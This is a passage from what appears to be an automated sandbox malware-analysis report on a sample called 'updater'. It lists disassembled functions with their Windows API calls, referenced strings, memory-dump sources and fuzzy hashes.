Opcode Fuzzy Hash: d5e3690709eb610095840b65e6e22a9dd7f9eacf380c8c295c800e1111a12b88
Instruction Fuzzy Hash: A8F05E3A595212ABE7212B64EC8CBEF7779FF46702B240921F203A50E1CBB55951DB60

Function 00C0954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00C09555
UnloadUserProfile.USERENV(?,?), ref: 00C09561
CloseHandle.KERNEL32(?), ref: 00C0956A
CloseHandle.KERNEL32(?), ref: 00C09572
GetProcessHeap.KERNEL32(00000000,?), ref: 00C0957B
HeapFree.KERNEL32(00000000), ref: 00C09582

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 32d48ba49dd8e4e39764d64d7c2432c36f7f10de29972cfc13aa401adf182537
Instruction ID: 6e75d4e9195cf5a3fde9bcf8fc9c4f30667902126b1fb81a4328271af6cb98c4
Opcode Fuzzy Hash: 32d48ba49dd8e4e39764d64d7c2432c36f7f10de29972cfc13aa401adf182537
Instruction Fuzzy Hash: 82E0E53A084101BBDB011FE1EC0CB5EBF39FF4A722B204620F71581470CB32A460DB50

Function 00C28CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C28CFD
CharUpperBuffW.USER32(?,?), ref: 00C28E0C
VariantClear.OLEAUT32(?), ref: 00C28F84

Part of subcall function 00C17B1D: VariantInit.OLEAUT32(00000000), ref: 00C17B5D
Part of subcall function 00C17B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00C17B66
Part of subcall function 00C17B1D: VariantClear.OLEAUT32(00000000), ref: 00C17B72

Strings

AUTOIT.ERROR, xrefs: 00C28E12
Incorrect Parameter format, xrefs: 00C28D35, 00C28EF7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: c2e3f575bd613124a99bdc917089a5fce0ba259339ace25735356339f9982015
Instruction ID: 38a3ce9abd8255c01d00873cfd3e5d3f631efff96302d90e08604373689fe0bd
Opcode Fuzzy Hash: c2e3f575bd613124a99bdc917089a5fce0ba259339ace25735356339f9982015
Instruction Fuzzy Hash: 53918C746043019FCB10DF24D48096ABBF5FF99714F14896EF89A8B7A2DB30E949CB52

Function 00C1323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC436A: _wcscpy.LIBCMT ref: 00BC438D

_memset.LIBCMT ref: 00C1332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00C1335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00C13410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00C1343E

Strings

0, xrefs: 00C1331A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 00dec5fcd1c4e4d87c26870c1ffa638682ec0210a3d0cf9ec51aedfa3f4f5bb4
Instruction ID: bdf835288d0d1c2f585f62a12dae537029f708a4b71cd8ea8cea5a49f68b392c
Opcode Fuzzy Hash: 00dec5fcd1c4e4d87c26870c1ffa638682ec0210a3d0cf9ec51aedfa3f4f5bb4
Instruction Fuzzy Hash: 8351D4716083809BD715AA28D8457ABBBE4EF87318F044A2DF8A5D21E1DB30CB85E756

Function 00C3DF09 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00C28A0E,?,00000000), ref: 00C3DF71
SetErrorMode.KERNEL32(00000001,?,00000000,00000000,00000000,?,00C28A0E,?,00000000,00000000), ref: 00C3DFA7
GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 00C3DFB8
SetErrorMode.KERNEL32(00000000,?,00000000,00000000,00000000,?,00C28A0E,?,00000000,00000000), ref: 00C3E03A

Strings

DllGetClassObject, xrefs: 00C3DFAD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 3c2b6cbd5d1dcd9e1a4b93cd9ceff0788c95a4506850970ebdf8a5e38e765468
Instruction ID: d4686f6c40742cdb6526e3f4649b110e0688a4c82c0bc85194c01b84cac6ee8f
Opcode Fuzzy Hash: 3c2b6cbd5d1dcd9e1a4b93cd9ceff0788c95a4506850970ebdf8a5e38e765468
Instruction Fuzzy Hash: D0417BB1610205EFDB19CF55C884BAA7BA9EF44310F1480AAED059F286D7F1DE44EBA0

Function 00C12EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C12F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00C12F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00C12FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00C77890,00000000), ref: 00C13012

Strings

0, xrefs: 00C12F5C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: b73a958e13dd4d0636db5caa1daef1243d4a048ac5984a2b7ecd41ce6ce50ca4
Instruction ID: 5bdcb269cac8b9fc8a7ddc8695ddfd4ed4119c18719d068218f9348fb57f3d77
Opcode Fuzzy Hash: b73a958e13dd4d0636db5caa1daef1243d4a048ac5984a2b7ecd41ce6ce50ca4
Instruction Fuzzy Hash: 9341C3352083819FD720DF24C884B9ABBE4EF8A314F104A5EF5659B291D770EA45EB62

Function 00C2DE8E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00C2DEAE

Part of subcall function 00BC1462: _memmove.LIBCMT ref: 00BC14B0

Strings

winapi, xrefs: 00C2DF1F
cdecl, xrefs: 00C2DF05
none, xrefs: 00C2DF89
stdcall, xrefs: 00C2DF30

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 4340232037aec70f94135a3643c9e7237653a9a3e438cede1f04d11390cbdf2c
Instruction ID: 9dcf221309c41476a8e614f145c6bbd4f2edbbfa11b938339f362fa2ad245a39
Opcode Fuzzy Hash: 4340232037aec70f94135a3643c9e7237653a9a3e438cede1f04d11390cbdf2c
Instruction Fuzzy Hash: 0D318771510125AFCF10EF94D941AEEB3B5FF15310B108A6AF876A76D1DB71A905CB80

Function 00C09A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C0B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00C0B7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00C09ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00C09ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00C09B0F

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

Strings

ListBox, xrefs: 00C09A8B
ComboBox, xrefs: 00C09A56

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: b6c918d82e1bfbd86120ae74faa5363f1f58fbec2e423ad3dbe74e46d7715bef
Instruction ID: ff6b9bcafde1c2bb787f82e5eacc165a6005f06bba2730f750846f2ee720f689
Opcode Fuzzy Hash: b6c918d82e1bfbd86120ae74faa5363f1f58fbec2e423ad3dbe74e46d7715bef
Instruction Fuzzy Hash: 6B21E476A451047FDB24EBA8DC45EFFBBB8EF52360F104519F825A72E2DB344906D620

Function 00C21EF9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00C21F18
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C21F3E
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00C21F6E
InternetCloseHandle.WININET(00000000), ref: 00C21FB5

Part of subcall function 00C22B4F: GetLastError.KERNEL32(?,?,00C21EE3,00000000,00000000,00000001), ref: 00C22B64
Part of subcall function 00C22B4F: SetEvent.KERNEL32(?,?,00C21EE3,00000000,00000000,00000001), ref: 00C22B79

Strings

, xrefs: 00C21F5F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 23afc58cbf0f4c174ea2677352fe961a0536ef5041274e922e03dbc08c3405f6
Instruction ID: faad5125dabacb960822ebacfcc508b858515b10f2230cb80958eed91bad95da
Opcode Fuzzy Hash: 23afc58cbf0f4c174ea2677352fe961a0536ef5041274e922e03dbc08c3405f6
Instruction Fuzzy Hash: C621DEB5604218BFE711AFA4AD85FBF76EDFB49B44F14001AF91592600EB349E049AA1

Function 00C36A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BB214F
Part of subcall function 00BB2111: GetStockObject.GDI32(00000011), ref: 00BB2163
Part of subcall function 00BB2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BB216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00C36A86
LoadLibraryW.KERNEL32(?), ref: 00C36A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00C36AA2
DestroyWindow.USER32(?), ref: 00C36AAA

Strings

SysAnimate32, xrefs: 00C36A61

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: c8fc1fed6f1bac7ebbabec4839bab5828ad0c597cb0da8c66eb15d30c242c0b3
Instruction ID: 8d0072901c42814643d19076cf4422f77cfa7e21b6f20e06eb34f9e26e1c8c04
Opcode Fuzzy Hash: c8fc1fed6f1bac7ebbabec4839bab5828ad0c597cb0da8c66eb15d30c242c0b3
Instruction Fuzzy Hash: FB215B75224205BFEF108F64DC81FBB77A9EB59364F20C629FA61A3190D3719C51A7A0

Function 00C17357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00C17377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00C173AA
GetStdHandle.KERNEL32(0000000C), ref: 00C173BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00C173F6

Strings

nul, xrefs: 00C173F1

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 693a88e44e39dd12dfc841607ccdfcca7e5b684fbe183a08086756f97c352009
Instruction ID: 0c91b070c9990ffff7099cdff6d50dfc0382e2391c16ab6582e1195b95edbed1
Opcode Fuzzy Hash: 693a88e44e39dd12dfc841607ccdfcca7e5b684fbe183a08086756f97c352009
Instruction Fuzzy Hash: 83217F74508206ABDB208F69DC45ADE7BB4AF46720F604B19FDB0D72E0D770D990EB60

Function 00C17425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00C17444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00C17476
GetStdHandle.KERNEL32(000000F6), ref: 00C17487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00C174C1

Strings

nul, xrefs: 00C174BC

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: f0a8cacd9bf7df2a0647d8f3163991b7cc4d35d655c2cc25f09494f564cbb4e5
Instruction ID: 3ad873365afea119b0cb1e0b806d2ec4d7313941243fe133f19c4f797ccdb1c8
Opcode Fuzzy Hash: f0a8cacd9bf7df2a0647d8f3163991b7cc4d35d655c2cc25f09494f564cbb4e5
Instruction Fuzzy Hash: 842190356082069BDB209F699C44BDA7BB8AF56730F200B19F9B1E72D0DB709991EB50

Function 00C1B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C1B297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00C1B2EB
__swprintf.LIBCMT ref: 00C1B304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00C40980), ref: 00C1B342

Strings

%lu, xrefs: 00C1B2FE

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: e1bcdbed96fd55f3b1b58df01d35cd8346cfacf492f84d61cc9992ad5f123406
Instruction ID: 164272b488baf578f3d81996bdaa6ae1e31480914436cb4d2c679929cb17d0d7
Opcode Fuzzy Hash: e1bcdbed96fd55f3b1b58df01d35cd8346cfacf492f84d61cc9992ad5f123406
Instruction Fuzzy Hash: C0215E35A00108AFCB10DF65C885EAEB7F8FF4A704B1040A9F909E7292DB71EE45DB61

Function 00C0AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

Part of subcall function 00C0AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00C0AA6F
Part of subcall function 00C0AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00C0AA82
Part of subcall function 00C0AA52: GetCurrentThreadId.KERNEL32 ref: 00C0AA89
Part of subcall function 00C0AA52: AttachThreadInput.USER32(00000000), ref: 00C0AA90

GetFocus.USER32 ref: 00C0AC2A

Part of subcall function 00C0AA9B: GetParent.USER32(?), ref: 00C0AAA9

GetClassNameW.USER32(?,?,00000100), ref: 00C0AC73
EnumChildWindows.USER32(?,00C0ACEB), ref: 00C0AC9B
__swprintf.LIBCMT ref: 00C0ACB5

Strings

%s%d, xrefs: 00C0ACAF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: a97fb2407aa6e450ea10c398c20d1290160a15a681ba2fcda3ff7aa425768c18
Instruction ID: 132db4205bdfbdb8a02aac1ecb78cd2d9ecf34205529182238284f5e843bc73a
Opcode Fuzzy Hash: a97fb2407aa6e450ea10c398c20d1290160a15a681ba2fcda3ff7aa425768c18
Instruction Fuzzy Hash: 1F11E175640304ABDF11BFA0CD85FEA37ACAB45700F1040B9FE08AA1C3DA715945EB72

Function 00C122E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C12318

Strings

REMOVE, xrefs: 00C1231E
APPEND, xrefs: 00C12351
KEYS, xrefs: 00C1232F
EXISTS, xrefs: 00C12340

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 23f0b9ea2e4d3b190345a0be49773a0901301be37769c7299e973615aaf62236
Instruction ID: 4e3bc2c6bfaf0a4fb203132a9a1ca699f488063f1701563e6c8be6d28fd9cd8b
Opcode Fuzzy Hash: 23f0b9ea2e4d3b190345a0be49773a0901301be37769c7299e973615aaf62236
Instruction Fuzzy Hash: C4117C749101189FCF00EF94C8909EEB3B8FF27304F5084AAE820A7262EB325E56DB40

Function 01250181 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 012501A3
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,012501F2,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 012501D6
RegCloseKey.ADVAPI32(?,012501F9,00000000,?,00000004,00000000,012501F2,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 012501EC

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 01250199
FPUMaskValue, xrefs: 012501CD

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 6c4ccb56341f28e005766e863859210fffe4997fbe9176c6d853a590b04a3ef5
Instruction ID: 86a77e4e0e315ca7841208b39e5d96680f5f48466a3e7b01aba2bd6d9db3ecf6
Opcode Fuzzy Hash: 6c4ccb56341f28e005766e863859210fffe4997fbe9176c6d853a590b04a3ef5
Instruction Fuzzy Hash: 4101B1796A0309BAEB11EBD5DC42BB977ACEB04B00F5080B5FA10E76C0E6B55910D769

Function 00C2F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00C2F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00C2F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00C2F453
CloseHandle.KERNEL32(?), ref: 00C2F4D4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: e2f02d1cb0fdc5ea80fed5d4e893f2f2e9cdc80a25b1ca1f484928afa739838e
Instruction ID: 8cda0e07e22839e1af86b320b19dbe2796b4419029e65b5e0aac5550b3ccc2e4
Opcode Fuzzy Hash: e2f02d1cb0fdc5ea80fed5d4e893f2f2e9cdc80a25b1ca1f484928afa739838e
Instruction Fuzzy Hash: 5F819D75600310AFD724EF28D882B6BB7E5BF48710F14896DF9999B292D7F0AD018B91

Function 00C30697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

